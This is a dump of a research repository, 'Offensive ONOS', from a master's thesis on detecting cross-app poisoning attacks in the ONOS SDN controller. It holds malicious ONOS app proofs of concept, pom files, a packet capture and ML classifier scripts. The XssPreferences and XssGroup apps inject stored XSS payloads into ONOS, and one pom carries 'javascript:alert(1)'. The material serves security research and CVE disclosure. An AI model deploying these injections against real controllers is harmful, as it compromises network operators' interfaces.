maven-scr-plugin 61 | 62 | 63 | org.onosproject 64 | onos-maven-plugin 65 | 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /apps/trash/eventhosttracking-app/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 17 | 18 | 4.0.0 19 | 20 | 21 | org.onosproject 22 | onos-dependencies 23 | 2.7.0 24 | 25 | 26 | 27 | onos-eventhosttracking 28 | 2.0.0-SNAPSHOT 29 | bundle 30 | 31 | Test sample application 32 | 33 | 34 | 2.7.0 35 | org.onosproject.eventhosttracking 36 | edoardottt 37 | eventhosttracking App 38 | Monitoring 39 | http://onosproject.org 40 | 41 | 42 | 43 | 44 | 45 | org.onosproject 46 | onos-api 47 | ${onos.version} 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | org.apache.felix 56 | maven-bundle-plugin 57 | 58 | 59 | org.apache.felix 60 | maven-scr-plugin 61 | 62 | 63 | org.onosproject 64 | onos-maven-plugin 65 | 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /apps/trash/xss-host-tracking-app/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 17 | 18 | 4.0.0 19 | 20 | 21 | org.onosproject 22 | onos-dependencies 23 | 2.7.0 24 | 25 | 26 | 27 | onos-xsshosttracking 28 | 2.0.0-SNAPSHOT 29 | bundle 30 | 31 | XSS host tracking application 32 | 33 | 34 | 2.7.0 35 | org.onosproject.xsshosttracking 36 | edoardottt 37 | xsshosttracking App 38 | Monitoring 39 | http://onosproject.org 40 | 41 | 42 | 43 | 44 | 45 | org.onosproject 46 | onos-api 47 | ${onos.version} 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | org.apache.felix 56 | maven-bundle-plugin 57 | 58 | 59 | org.apache.felix 60 | maven-scr-plugin 61 | 62 | 63 | org.onosproject 64 | onos-maven-plugin 65 | 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /apps/topoedit-app/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 17 | 18 | 4.0.0 19 | 20 | 21 | org.onosproject 22 | onos-dependencies 23 | 2.7.0 24 | 25 | 26 | 27 | Malicious Topology application 28 | http://onosproject.org 29 | 30 | 31 | 2.7.0 32 | org.onosproject.topoedit 33 | edoardottt 34 | topoedit App 35 | Monitoring 36 | http://onosproject.org 37 | 38 | 39 | onos-topoedit 40 | 2.0.0-SNAPSHOT 41 | bundle 42 | 43 | 44 | 45 | 46 | 47 | org.onosproject 48 | onos-api 49 | ${onos.version} 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | org.apache.felix 58 | maven-bundle-plugin 59 | 60 | 61 | org.apache.felix 62 | maven-scr-plugin 63 | 64 | 65 | org.onosproject 66 | onos-maven-plugin 67 | 68 | 69 | 70 | 71 | -------------------------------------------------------------------------------- /apps/impersonation-host-tracking-app/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 17 | 18 | 4.0.0 19 | 20 | 21 | org.onosproject 22 | onos-dependencies 23 | 2.7.0 24 | 25 | 26 | 27 | onos-impersonationhosttracking 28 | 2.0.0-SNAPSHOT 29 | bundle 30 | 31 | Test sample application 32 | 33 | 34 | 2.7.0 35 | org.onosproject.impersonationhosttracking 36 | edoardottt 37 | impersonationhosttracking App 38 | Monitoring 39 | http://onosproject.org 40 | 41 | 42 | 43 | 44 | 45 | org.onosproject 46 | onos-api 47 | ${onos.version} 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | org.apache.felix 56 | maven-bundle-plugin 57 | 58 | 59 | org.apache.felix 60 | maven-scr-plugin 61 | 62 | 63 | org.onosproject 64 | onos-maven-plugin 65 | 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /apps/trash/xsspreferences-app/src/main/java/org/onosproject/xsspreferences/app/XssPreferences.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2022-present Open Networking Foundation 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package org.onosproject.xsspreferences.app; 17 | 18 | import org.osgi.service.component.annotations.Activate; 19 | import org.osgi.service.component.annotations.Component; 20 | import org.osgi.service.component.annotations.Deactivate; 21 | import org.osgi.service.component.annotations.Reference; 22 | import org.osgi.service.component.annotations.ReferenceCardinality; 23 | import org.onosproject.core.CoreService; 24 | import org.onosproject.ui.UiPreferencesService; 25 | import org.slf4j.Logger; 26 | import org.slf4j.LoggerFactory; 27 | import java.util.Set; 28 | import java.lang.System; 29 | import com.fasterxml.jackson.databind.node.ObjectNode; 30 | import com.fasterxml.jackson.databind.node.JsonNodeFactory; 31 | 32 | /** 33 | * XSS preferences POC Application 34 | */ 35 | @Component(immediate = true) 36 | public class XssPreferences { 37 | 38 | private final Logger log = LoggerFactory.getLogger(getClass()); 39 | 40 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 41 | protected CoreService coreService; 42 | 43 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 44 | protected UiPreferencesService uiPreferencesService; 45 | 46 | // -------------------------------------------------------- 47 | // CHANGE THIS PARAMETER TO CHANGE VICTIM. 48 | // -------------------------------------------------------- 49 | private static final String USERNAME = "onos"; 50 | 51 | @Activate 52 | protected void activate() { 53 | coreService.registerApplication("org.edoardottt.xsspreferences.app", () -> log.info("Periscope down.")); 54 | injectXss(); 55 | log.info("Started xsspreferences App!"); 56 | } 57 | 58 | @Deactivate 59 | protected void deactivate() { 60 | log.info("Stopped xsspreferences App!"); 61 | } 62 | 63 | private void injectXss() { 64 | ObjectNode on = new ObjectNode(new JsonNodeFactory(true)); 65 | uiPreferencesService.setPreference(USERNAME, "xss-poc" + "\"\"\"\"" + "}};window.alert(document.domain);//", on); 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /apps/xssdevice-app/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 17 | 18 | 4.0.0 19 | 20 | 21 | org.onosproject 22 | onos-dependencies 23 | 1.9.0 24 | 25 | 26 | 27 | onos-xssdevice 28 | 2.0.0-SNAPSHOT 29 | bundle 30 | 31 | Test sample application 32 | 33 | 34 | 1.9.0 35 | org.onosproject.xssdevice 36 | edoardottt 37 | xssdevice App 38 | Monitoring 39 | javascript:alert(1) 40 | 41 | 42 | 43 | 44 | 45 | org.onosproject 46 | onos-api 47 | ${onos.version} 48 | 49 | 50 | 51 | org.apache.felix 52 | org.apache.felix.scr.annotations 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | org.apache.felix 61 | maven-bundle-plugin 62 | 63 | 64 | org.apache.felix 65 | maven-scr-plugin 66 | 67 | 68 | org.onosproject 69 | onos-maven-plugin 70 | 71 | 72 | 73 | 74 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Offensive ONOS 2 | 3 | My experiments in weaponizing [ONOS](https://github.com/opennetworkinglab/onos) applications. 4 | This is a part of research activity for my Cybersecurity M.Sc. Thesis ([link](https://github.com/edoardottt/master-degree-thesis/)), focused on detection of Cross App Poisoning Attacks in Software Defined Networks. 5 | 6 | **This research also led to discovery of [CVE-2023-24279](https://nvd.nist.gov/vuln/detail/CVE-2023-24279) and [CVE-2023-30093](https://nvd.nist.gov/vuln/detail/CVE-2023-30093)**. 7 | 8 | Useful papers to get context: 9 | 10 | 11 | - [Cross-App Poisoning in Software-Defined Networking](https://dl.acm.org/doi/10.1145/3243734.3243759) 12 | - [My Master's Degree Thesis](https://www.researchgate.net/publication/371491370_Proposal_and_Investigation_of_a_framework_for_Cross_App_Poisoning_attacks_detection_in_Software_Defined_Networks) 13 | - [Protecting Virtual Programmable Switches from Cross-App Poisoning (CAP) Attacks](https://ieeexplore.ieee.org/document/9789775) 14 | - [Classifying Poisoning Attacks in Software Defined Networking](https://ieeexplore.ieee.org/abstract/document/8920310) 15 | - [A Survey on Software Defined Networking: Architecture for Next Generation Network](https://arxiv.org/abs/2001.10165) 16 | 17 | ## Requirements 18 | 19 | - JVM 11+ () 20 | - Maven () 21 | - ONOS 2.7.0 () 22 | 23 | In order to test the applications I've used Mininet to virtualize the data-plane, but it's optional (). 24 | 25 | ## Get Started 26 | 27 | Compile an ONOS application ready to be installed and activated 28 | 29 | ```console 30 | make -C apps/APP-NAME compile 31 | ``` 32 | 33 | Search for .oar (ONOS archive) files 34 | 35 | ```console 36 | make oar 37 | ``` 38 | 39 | See [this GitHub Gist](https://gist.github.com/edoardottt/a8717c7601a552a5deb832f598d6d288) to understand how to connect ONOS and a Mininet VM. 40 | 41 | ## Links 42 | 43 | - [ONOS Wiki](https://wiki.onosproject.org/display/ONOS/ONOS) 44 | - [ONOS 2.7.0 API Documentation](https://api.onosproject.org/2.7.0/apidocs/) 45 | - [Thomas Vachuska - Creating and deploying ONOS app (Youtube)](https://www.youtube.com/watch?v=mzQubYhJhro&ab_channel=ThomasVachuska) 46 | - [Introduction to Mininet](https://github.com/mininet/mininet/wiki/Introduction-to-Mininet) 47 | 48 | ## Changelog 49 | 50 | Detailed changes for each release are documented in the [release notes](https://github.com/edoardottt/offensive-onos-apps/releases). 51 | 52 | ## Contributing 53 | 54 | Just open an [issue](https://github.com/edoardottt/offensive-onos-apps/issues) / [pull request](https://github.com/edoardottt/offensive-onos-apps/pulls). 55 | 56 | ------- 57 | 58 | [edoardottt.com](https://edoardottt.com/) to contact me. 59 | -------------------------------------------------------------------------------- /tests/impersonation/impersonation-h2.pcap: -------------------------------------------------------------------------------- 1 | 02:01:14.548201 IP 10.0.0.1 > 10.0.0.4: ICMP echo request, id 1114, seq 1, length 64 2 | 02:01:14.697044 LLDP, length 125 3 | 02:01:14.697149 02:eb:69:28:3b:3a (oui Unknown) > Broadcast, ethertype Unknown (0x8942), length 139: 4 | 0x0000: 0207 0400 0000 0000 0204 0202 3206 0200 ............2... 5 | 0x0010: 78fe 12a4 2305 014f 4e4f 5320 4469 7363 x...#..ONOS.Disc 6 | 0x0020: 6f76 6572 79fe 17a4 2305 026f 663a 3030 overy...#..of:00 7 | 0x0030: 3030 3030 3030 3030 3030 3030 3032 fe0c 00000000000002.. 8 | 0x0040: a423 0504 0000 0185 bf2c fcc0 fe24 a423 .#.......,...$.# 9 | 0x0050: 0505 0158 d283 90fb 6a94 b423 c8d3 67be ...X....j..#..g. 10 | 0x0060: a389 a64e 46ff f0c3 8070 9510 f0fb 3092 ...NF....p....0. 11 | 0x0070: f5cb 0807 7332 2d65 7468 3200 00 ....s2-eth2.. 12 | 02:01:15.568491 IP 10.0.0.1 > 10.0.0.4: ICMP echo request, id 1114, seq 2, length 64 13 | 02:01:16.582898 IP 10.0.0.1 > 10.0.0.4: ICMP echo request, id 1114, seq 3, length 64 14 | 02:01:17.598314 IP 10.0.0.1 > 10.0.0.4: ICMP echo request, id 1114, seq 4, length 64 15 | 02:01:17.797621 LLDP, length 125 16 | 02:01:17.797645 02:eb:69:28:3b:3a (oui Unknown) > Broadcast, ethertype Unknown (0x8942), length 139: 17 | 0x0000: 0207 0400 0000 0000 0204 0202 3206 0200 ............2... 18 | 0x0010: 78fe 12a4 2305 014f 4e4f 5320 4469 7363 x...#..ONOS.Disc 19 | 0x0020: 6f76 6572 79fe 17a4 2305 026f 663a 3030 overy...#..of:00 20 | 0x0030: 3030 3030 3030 3030 3030 3030 3032 fe0c 00000000000002.. 21 | 0x0040: a423 0504 0000 0185 bf2d 08dc fe24 a423 .#.......-...$.# 22 | 0x0050: 0505 4b69 e2b6 d6ec ca8d 92dc 737a 4108 ..Ki........szA. 23 | 0x0060: db95 18e1 fe26 077f b4a8 757a 3ec3 caa7 .....&....uz>... 24 | 0x0070: 73ca 0807 7332 2d65 7468 3200 00 s...s2-eth2.. 25 | 02:01:18.690867 IP 10.0.0.1 > 10.0.0.4: ICMP echo request, id 1114, seq 5, length 64 26 | 02:01:19.585316 ARP, Request who-has 10.0.0.4 tell 10.0.0.1, length 28 27 | 02:01:19.710663 IP 10.0.0.1 > 10.0.0.4: ICMP echo request, id 1114, seq 6, length 64 28 | 02:01:20.613187 ARP, Request who-has 10.0.0.4 tell 10.0.0.1, length 28 29 | 02:01:20.738416 IP 10.0.0.1 > 10.0.0.4: ICMP echo request, id 1114, seq 7, length 64 30 | 02:01:20.896589 LLDP, length 125 31 | 02:01:20.896597 02:eb:69:28:3b:3a (oui Unknown) > Broadcast, ethertype Unknown (0x8942), length 139: 32 | 0x0000: 0207 0400 0000 0000 0204 0202 3206 0200 ............2... 33 | 0x0010: 78fe 12a4 2305 014f 4e4f 5320 4469 7363 x...#..ONOS.Disc 34 | 0x0020: 6f76 6572 79fe 17a4 2305 026f 663a 3030 overy...#..of:00 35 | 0x0030: 3030 3030 3030 3030 3030 3030 3032 fe0c 00000000000002.. 36 | 0x0040: a423 0504 0000 0185 bf2d 14f8 fe24 a423 .#.......-...$.# 37 | 0x0050: 0505 2b10 cfc9 5a3b e249 d914 e925 1b66 ..+...Z;.I...%.f 38 | 0x0060: 6551 a012 f621 1ab8 1395 685c ab17 ffda eQ...!....h\.... 39 | 0x0070: 9b4f 0807 7332 2d65 7468 3200 00 .O..s2-eth2.. 40 | 02:01:21.638478 ARP, Request who-has 10.0.0.4 tell 10.0.0.1, length 28 41 | -------------------------------------------------------------------------------- /onos-dm/auto-encoder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from pathlib import Path 3 | from typing import Iterable, Tuple 4 | 5 | import matplotlib.pyplot as plt 6 | import numpy as np 7 | import tensorflow.keras as keras 8 | 9 | 10 | def read_dataset() -> Iterable[Tuple[str, bool]]: 11 | path = Path("gistfile1.txt") 12 | with path.open("r", encoding="utf-8") as f: 13 | for line in f: 14 | line = line.strip() 15 | if not line: 16 | continue 17 | parts = line.split("\t", maxsplit=1) 18 | yield parts[0], parts[1] == "1" 19 | 20 | 21 | dataset = list(set(read_dataset())) 22 | max_len = max(len(x) for x, _ in dataset) 23 | 24 | # Shuffle the dataset 25 | 26 | np.random.shuffle(dataset) 27 | 28 | # Pad the dataset with spaces 29 | 30 | 31 | def left_pad_with(s: str, pad: str, length: int) -> str: 32 | assert len(pad) == 1 33 | return pad * (length - len(s)) + s 34 | 35 | 36 | padded = [(left_pad_with(x, "0", max_len), y) for x, y in dataset] 37 | 38 | alphabet = list(sorted(set("".join(x for x, _ in padded)))) 39 | 40 | 41 | def one_hot_encode(s: str) -> np.ndarray: 42 | eye = np.eye(len(alphabet), dtype=np.float32) 43 | enc = np.array([eye[alphabet.index(c)] for c in s]) 44 | return enc.flatten() 45 | 46 | 47 | X = np.array([one_hot_encode(x) for x, _ in padded]) 48 | y = np.array([y for _, y in padded]) 49 | labels = np.array([y for _, y in padded]) 50 | 51 | 52 | class ResidualDense(keras.layers.Layer): 53 | def __init__(self, units: int, activation: str, **kwargs): 54 | super().__init__(**kwargs) 55 | self.units = units 56 | self.activation = activation 57 | 58 | def build(self, input_shape: Tuple[int, ...]) -> None: 59 | self.dense = keras.layers.Dense(self.units, activation=self.activation) 60 | self.res = keras.layers.Dense(self.units, activation="linear") 61 | 62 | def call(self, inputs: keras.layers.Layer) -> keras.layers.Layer: 63 | return self.res(inputs) + self.dense(inputs) 64 | 65 | 66 | encoder = keras.Sequential( 67 | [ 68 | keras.layers.InputLayer(input_shape=(max_len * len(alphabet),)), 69 | ResidualDense(64, "relu"), 70 | ResidualDense(32, "relu"), 71 | ResidualDense(16, "relu"), 72 | ResidualDense(8, "relu"), 73 | ResidualDense(2, "relu"), 74 | ] 75 | ) 76 | 77 | decoder = keras.Sequential( 78 | [ 79 | ResidualDense(8, "relu"), 80 | ResidualDense(16, "relu"), 81 | ResidualDense(32, "relu"), 82 | ResidualDense(64, "relu"), 83 | ResidualDense(max_len * len(alphabet), "relu"), 84 | ] 85 | ) 86 | 87 | autoencoder = keras.Sequential([encoder, decoder]) 88 | 89 | 90 | autoencoder.compile( 91 | optimizer="adam", 92 | loss="mse", 93 | metrics=["mae", "mse"], 94 | ) 95 | 96 | 97 | autoencoder.fit(X, X, epochs=128, batch_size=len(X) // 64, shuffle=True) 98 | 99 | # Project the data into the 2D space 100 | 101 | encoded = encoder.predict(X) 102 | 103 | # Plot the data 104 | 105 | plt.scatter(encoded[:, 0], encoded[:, 1], c=labels, s=3, cmap="jet", alpha=0.5) 106 | plt.show() -------------------------------------------------------------------------------- /onos-dm/predict1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # -------- imports -------- 4 | 5 | from datetime import datetime 6 | import sys 7 | import matplotlib.pyplot as plt 8 | import numpy as np 9 | from sklearn.linear_model import LogisticRegression 10 | from sklearn.metrics import classification_report, confusion_matrix 11 | 12 | # -------- global variables -------- 13 | 14 | directory = "/home/edoardottt/cybersecurity/thesis/onos-ml/data/" 15 | training_out_file = "training-data.txt" 16 | test_out_file = "test-data.txt" 17 | training_out_file_ml = "training-data-ml.txt" 18 | test_out_file_ml = "test-data-ml.txt" 19 | 20 | 21 | # -------- training -------- 22 | 23 | 24 | def read_file(filename, limit): 25 | x = np.zeros((0, 50)) 26 | y = np.zeros((0, 1)) 27 | count = 0 28 | with open(directory + filename, "r") as f: 29 | lines = f.readlines() 30 | for line in lines: 31 | count += 1 32 | first_input = [int(x) for x in line.split("\t")[0]] 33 | first_input_np = np.array(first_input) 34 | x = np.append(x, [first_input_np], axis=0) 35 | second_input = [int(line.split("\t")[1])] 36 | second_input_np = np.array(second_input) 37 | y = np.append(y, [second_input_np], axis=None) 38 | print("Read {}/{} lines".format(count, limit), flush=True, end="\r") 39 | sys.stdout.flush() 40 | if count >= limit: 41 | break 42 | 43 | print("", flush=True, end="\n") 44 | 45 | return x, y 46 | 47 | 48 | def plt_cm(cm): 49 | fig, ax = plt.subplots(figsize=(8, 8)) 50 | ax.imshow(cm) 51 | ax.grid(False) 52 | ax.xaxis.set(ticks=(0, 1), ticklabels=("Predicted 0s", "Predicted 1s")) 53 | ax.yaxis.set(ticks=(0, 1), ticklabels=("Actual 0s", "Actual 1s")) 54 | ax.set_ylim(1.5, -0.5) 55 | for i in range(2): 56 | for j in range(2): 57 | ax.text(j, i, cm[i, j], ha="center", va="center", color="red") 58 | plt.show() 59 | 60 | 61 | # -------- main -------- 62 | 63 | if __name__ == "__main__": 64 | # start time 65 | start_time = datetime.now().strftime("%H:%M:%S") 66 | # convert time string to datetime 67 | t1 = datetime.strptime(str(start_time), "%H:%M:%S") 68 | print("Start time:", t1.time()) 69 | 70 | x, y = read_file(training_out_file_ml, 200000) 71 | 72 | model = LogisticRegression(solver="newton-cg", random_state=0) 73 | 74 | model.fit(x, y) 75 | 76 | print("Model intercept: " + str(model.intercept_)) 77 | 78 | print("Model coef: " + str(model.coef_)) 79 | 80 | print(" ----------- Train data -----------") 81 | 82 | print("Model score: " + str(model.score(x, y))) 83 | 84 | print("Model confusion matrix: ") 85 | cm = confusion_matrix(y, model.predict(x)) 86 | print(cm) 87 | 88 | # plt_cm(cm) 89 | 90 | print(" ----------- Test data -----------") 91 | 92 | x2, y2 = read_file(test_out_file_ml, 40000) 93 | 94 | print("Model score: " + str(model.score(x2, y2))) 95 | 96 | print("Model confusion matrix: ") 97 | cm = confusion_matrix(y2, model.predict(x2)) 98 | print(cm) 99 | 100 | end_time = datetime.now().strftime("%H:%M:%S") 101 | t2 = datetime.strptime(str(end_time), "%H:%M:%S") 102 | print("End time:", t2.time()) 103 | 104 | # get difference 105 | delta = t2 - t1 106 | 107 | # time difference in seconds 108 | print(f"Time difference is {delta.total_seconds()} seconds") 109 | -------------------------------------------------------------------------------- /apps/trash/xss-group-app/src/main/java/org/onosproject/xssgroup-app/XssGroup.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2022-present Open Networking Foundation 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package org.onosproject.xssgroup; 17 | 18 | import org.osgi.service.component.annotations.Activate; 19 | import org.osgi.service.component.annotations.Component; 20 | import org.osgi.service.component.annotations.Deactivate; 21 | import org.osgi.service.component.annotations.Reference; 22 | import org.osgi.service.component.annotations.ReferenceCardinality; 23 | import org.slf4j.Logger; 24 | import org.slf4j.LoggerFactory; 25 | import org.onosproject.core.CoreService; 26 | import org.onosproject.net.group.GroupStore; 27 | import org.onosproject.net.group.GroupDescription; 28 | import org.onosproject.net.group.GroupDescription.Type; 29 | import org.onosproject.net.group.GroupBuckets; 30 | import org.onosproject.net.group.GroupBucket; 31 | import org.onosproject.net.group.DefaultGroup; 32 | import org.onosproject.net.group.DefaultGroupBucket; 33 | import org.onosproject.core.GroupId; 34 | import org.onosproject.net.Device; 35 | import org.onosproject.net.DeviceId; 36 | import org.onosproject.net.device.DeviceService; 37 | import org.onosproject.net.flow.TrafficTreatment; 38 | import org.onosproject.net.flow.DefaultTrafficTreatment; 39 | import org.onosproject.net.PortNumber; 40 | import java.util.ArrayList; 41 | import java.util.List; 42 | 43 | /** 44 | * XSS group POC application 45 | */ 46 | @Component(immediate = true) 47 | public class XssGroup { 48 | 49 | private final Logger log = LoggerFactory.getLogger(getClass()); 50 | 51 | private final String PAYLOAD = "\""; 52 | 53 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 54 | protected CoreService coreService; 55 | 56 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 57 | protected DeviceService deviceService; 58 | 59 | @Reference(cardinality = ReferenceCardinality.MANDATORY) 60 | protected GroupStore groupStore; 61 | 62 | @Activate 63 | protected void activate() { 64 | coreService.registerApplication("org.edoardottt.xssgroup.app", () -> log.info("Periscope down.")); 65 | injectXss(); 66 | log.info("Started xssgroup App!"); 67 | } 68 | 69 | @Deactivate 70 | protected void deactivate() { 71 | log.info("Stopped xssgroup App!"); 72 | } 73 | 74 | private void injectXss() { 75 | Iterable devices = deviceService.getDevices(); 76 | DeviceId s1 = devices.iterator().next().id(); 77 | log.info("xssgroup App: Victim Switch {}", s1); 78 | TrafficTreatment treatment = DefaultTrafficTreatment.emptyTreatment(); 79 | PortNumber watchPort = PortNumber.portNumber(1337, PAYLOAD); 80 | GroupId watchGroup = new GroupId(1); 81 | GroupBucket bucket = DefaultGroupBucket.createFailoverGroupBucket(treatment, watchPort, watchGroup); 82 | log.info("xssgroup App: Crafted Bucket Payload {}", bucket.watchPort().toString()); 83 | List buckets = new ArrayList(); 84 | buckets.add(bucket); 85 | GroupBuckets gb = new GroupBuckets(buckets); 86 | log.info("xssgroup App: Crafted Buckets Payload {}", buckets); 87 | DefaultGroup dg = new DefaultGroup(watchGroup, s1, GroupDescription.Type.FAILOVER, gb); 88 | groupStore.addOrUpdateGroupEntry(dg); 89 | log.info("xssgroup App: Payload Injected!", buckets); 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /onos-dm/predict2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # -------- imports -------- 4 | 5 | from datetime import datetime 6 | import sys 7 | import matplotlib.pyplot as plt 8 | import numpy as np 9 | 10 | from sklearn.neighbors import KNeighborsClassifier 11 | from sklearn import datasets, neighbors 12 | from sklearn.metrics import classification_report, confusion_matrix 13 | from mlxtend.plotting import plot_decision_regions 14 | 15 | # -------- global variables -------- 16 | 17 | directory = "/home/edoardottt/cybersecurity/thesis/onos-ml/data/" 18 | training_out_file = "training-data.txt" 19 | test_out_file = "test-data.txt" 20 | training_out_file_ml = "training-data-ml.txt" 21 | test_out_file_ml = "test-data-ml.txt" 22 | 23 | 24 | # -------- training -------- 25 | 26 | 27 | def read_file(filename, limit): 28 | x = np.zeros((0, 50)) 29 | y = np.zeros((0, 1)) 30 | count = 0 31 | with open(directory + filename, "r") as f: 32 | lines = f.readlines() 33 | for line in lines: 34 | count += 1 35 | first_input = [int(x) for x in line.split("\t")[0]] 36 | first_input_np = np.array(first_input) 37 | x = np.append(x, [first_input_np], axis=0) 38 | second_input = [int(line.split("\t")[1])] 39 | second_input_np = np.array(second_input) 40 | y = np.append(y, [second_input_np], axis=None) 41 | print("Read {}/{} lines".format(count, limit), flush=True, end="\r") 42 | sys.stdout.flush() 43 | if count >= limit: 44 | break 45 | 46 | print("", flush=True, end="\n") 47 | 48 | return x, y 49 | 50 | 51 | def plt_cm(cm): 52 | fig, ax = plt.subplots(figsize=(8, 8)) 53 | ax.imshow(cm) 54 | ax.grid(False) 55 | ax.xaxis.set(ticks=(0, 1), ticklabels=("Predicted 0s", "Predicted 1s")) 56 | ax.yaxis.set(ticks=(0, 1), ticklabels=("Actual 0s", "Actual 1s")) 57 | ax.set_ylim(1.5, -0.5) 58 | for i in range(2): 59 | for j in range(2): 60 | ax.text(j, i, cm[i, j], ha="center", va="center", color="red") 61 | plt.show() 62 | 63 | 64 | # -------- main -------- 65 | 66 | if __name__ == "__main__": 67 | # start time 68 | start_time = datetime.now().strftime("%H:%M:%S") 69 | # convert time string to datetime 70 | t1 = datetime.strptime(str(start_time), "%H:%M:%S") 71 | print("Start time:", t1.time()) 72 | 73 | print(" ----------- Training data -----------") 74 | 75 | x, y = read_file(training_out_file_ml, 200000) 76 | 77 | clf = KNeighborsClassifier(n_neighbors=3) 78 | 79 | clf.fit(x, y) 80 | 81 | # print("Model intercept: " + str(clf.intercept_)) 82 | 83 | # print("Model coef: " + str(clf.coef_)) 84 | 85 | print("Model score: " + str(clf.score(x, y))) 86 | 87 | print("Model confusion matrix: ") 88 | cm = confusion_matrix(y, clf.predict(x)) 89 | print(cm) 90 | 91 | # plt_cm(cm) 92 | 93 | print(" ----------- Test data -----------") 94 | 95 | x2, y2 = read_file(test_out_file_ml, 40000) 96 | 97 | print("Model score: " + str(clf.score(x2, y2))) 98 | 99 | print("Model confusion matrix: ") 100 | cm = confusion_matrix(y2, clf.predict(x2)) 101 | print(cm) 102 | 103 | # plot_decision_regions(x2, y2.astype(np.int_), clf=clf, legend=2) 104 | 105 | # Adding axes annotations 106 | # plt.xlabel("X") 107 | # plt.ylabel("Y") 108 | # plt.title("Knn with K=" + str(3)) 109 | # plt.show() 110 | 111 | end_time = datetime.now().strftime("%H:%M:%S") 112 | t2 = datetime.strptime(str(end_time), "%H:%M:%S") 113 | print("End time:", t2.time()) 114 | 115 | # get difference 116 | delta = t2 - t1 117 | 118 | # time difference in seconds 119 | print(f"Time difference is {delta.total_seconds()} seconds") 120 | 121 | 122 | """ 123 | df = pd.DataFrame(columns=["x", "y", "vx", "vy"]) 124 | 125 | toPredict = df.append( 126 | {"x": ball.x, "y": ball.y, "vx": ball.vx, "vy": ball.vy}, ignore_index=True 127 | ) 128 | shouldMove = clf.predict(toPredict) 129 | """ 130 | -------------------------------------------------------------------------------- /apps/IpAddressPoolStore.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-present Open Networking Foundation 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | 17 | package org.onosproject.security; 18 | 19 | import org.osgi.service.component.annotations.Activate; 20 | import org.osgi.service.component.annotations.Component; 21 | import org.osgi.service.component.annotations.Deactivate; 22 | import org.osgi.service.component.annotations.Reference; 23 | import org.osgi.service.component.annotations.ReferenceCardinality; 24 | import org.slf4j.Logger; 25 | import org.slf4j.LoggerFactory; 26 | 27 | import java.security.AllPermission; 28 | import java.util.concurrent.ConcurrentHashMap; 29 | import java.util.Map; 30 | import java.util.Random; 31 | import java.io.File; 32 | import java.io.BufferedWriter; 33 | import java.io.PrintWriter; 34 | import java.io.FileWriter; 35 | import java.io.IOException; 36 | import java.util.Date; 37 | 38 | import static org.slf4j.LoggerFactory.getLogger; 39 | 40 | /** 41 | * Manages the inventory of application keys. 42 | */ 43 | @Component(immediate = true, service = IpAddressPoolStore.class) 44 | public class IpAddressPoolStore { 45 | 46 | private final Logger log = LoggerFactory.getLogger(getClass()); 47 | 48 | private final String LOGFILENAME = "/home/edoardottt/cybersecurity/thesis/onos-ipsat.log"; 49 | 50 | private ConcurrentHashMap ipStore; 51 | 52 | @Activate 53 | public void activate() { 54 | ipStore = new ConcurrentHashMap(); 55 | 56 | for (int i = 5; i < 100; i++) { 57 | ipStore.put(i, false); 58 | } 59 | 60 | log.info("Started"); 61 | } 62 | 63 | @Deactivate 64 | public void deactivate() { 65 | ipStore.clear(); 66 | 67 | log.info("Stopped"); 68 | } 69 | 70 | public void ipTaken(int ip) { 71 | ipStore.put(ip, true); 72 | 73 | log.info("Ip Address {} Taken!", "10.0.0." + String.valueOf(ip)); 74 | 75 | ipStoreSaturated(); 76 | } 77 | 78 | private boolean ipStoreSaturated() { 79 | for (int i : ipStore.keySet()) { 80 | if (!ipStore.get(i)) { 81 | return false; 82 | } 83 | } 84 | 85 | log.info("IP STORE SATURATED!"); 86 | 87 | return true; 88 | } 89 | 